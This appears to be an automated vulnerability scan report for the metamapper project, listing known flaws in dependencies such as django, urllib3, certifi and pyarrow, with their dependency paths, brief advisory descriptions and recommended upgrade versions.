Vulnerabilities

115 via 826 paths

Dependencies

99

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 115
  • 5
Severity
  • 7
  • 36
  • 68
  • 9
Status
  • 120
  • 0
  • 0

critical severity

Improper Following of a Certificate's Chain of Trust

  • Vulnerable module: certifi
  • Introduced through: certifi@2021.10.8, elasticsearch@7.9.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper certifi@2021.10.8
    Remediation: Upgrade to certifi@2023.7.22.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 certifi@2021.10.8
    Remediation: Upgrade to elasticsearch@8.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 certifi@2021.10.8
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 certifi@2021.10.8
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.

Note:

This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.

Remediation

Upgrade certifi to version 2023.7.22 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.13.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via QuerySet.explain(**options) in option names, using a suitably crafted dictionary, with dictionary expansion, as the **options argument on PostgreSQL.

Remediation

Upgrade Django to version 2.2.28, 3.2.13, 4.0.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.13.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection in QuerySet.annotate(), aggregate(), and extra() methods, in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to these methods.

Remediation

Upgrade Django to version 2.2.28, 3.2.13, 4.0.4 or higher.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: pyarrow
  • Introduced through: pyarrow@6.0.1 and google-cloud-bigquery@3.0.1

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyarrow@6.0.1
    Remediation: Upgrade to pyarrow@14.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 pyarrow@6.0.1
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

pyarrow is a Python API for functionality provided by the Arrow C++ libraries, along with tools for Arrow integration and interoperability with pandas, NumPy, and other software in the Python ecosystem.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the IPC and Parquet readers. An attacker can execute arbitrary code by supplying malicious files in IPC, Feather or Parquet formats.

Workaround

If upgrading is not possible, the package pyarrow-hotfix has been released that disables the vulnerability on older versions. This package should be included alongside the pyarrow dependency.

After adding the pyarrow-hotfix package to the project directory dependencies, users can ignore this issue given that the hotfix has been applied and the vulnerable code is no longer used.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade pyarrow to version 14.0.1 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to SQL Injection via the QuerySet.values() and values_list() methods on models with a JSONField. An attacker can exploit this vulnerability through column aliases by using a maliciously crafted JSON object object key as a passed *arg.

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.17.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to SQL Injection via the django.db.models.fields.json.HasKey lookup on Oracle, if untrusted data is used as a lhs value. An attacker can manipulate SQL queries and access or alter database information.

Note: Applications that use the jsonfield.has_key lookup through the __ syntax are unaffected.

Remediation

Upgrade django to version 4.2.17, 5.0.10, 5.1.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@3.2.14.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the Trunc(kind) and Extract(lookup_name) arguments, if untrusted data is used as a kind/lookup_name value.

Note: Applications that constrain the lookup name and kind choice to a known safe list are unaffected.

Django 4.1 pre-released versions (4.1a1, 4.1a2) are affected by this issue, please avoid using the 4.1 branch until 4.1.0 is released.

Remediation

Upgrade Django to version 3.2.14, 4.0.6 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.9, botocore@1.24.41 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper urllib3@1.26.9
    Remediation: Upgrade to urllib3@2.6.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to botocore@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to s3transfer@0.10.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 urllib3@1.26.9
    Remediation: Upgrade to elasticsearch-dsl@8.9.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-api-core@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper boto3@1.21.41 s3transfer@0.5.2 botocore@1.24.41 urllib3@1.26.9
    Remediation: Upgrade to boto3@1.34.67.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery-storage@2.13.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-core@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.0.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 urllib3@1.26.9
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.20.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
    Remediation: Upgrade to django-cors-headers@3.11.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-dirtyfields@1.8.1 django@3.2.12
    Remediation: Upgrade to django-dirtyfields@1.8.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-filter@2.4.0 django@3.2.12
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to graphene-django@2.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.3.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-guardian@2.4.0 django@3.2.12
    Remediation: Upgrade to django-guardian@2.4.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-storages@1.12.3 django@3.2.12
    Remediation: Upgrade to django-storages@1.12.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper djangorestframework@3.13.1 django@3.2.12
    Remediation: Upgrade to djangorestframework@3.15.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-graphql-jwt@0.3.1 graphene-django@2.15.0 django@3.2.12
    Remediation: Upgrade to django-graphql-jwt@0.4.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the django.utils.text.wrap() function and wordwrap template filter. When either is supplied an excessively long string it may render the application unresponsive.

Remediation

Upgrade django to version 4.2.20, 5.0.13, 5.1.7 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: django
  • Introduced through: django@3.2.12, django-cors-headers@3.11.0 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django@3.2.12
    Remediation: Upgrade to django@4.2.26.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper django-cors-headers@3.11.0 django@3.2.12
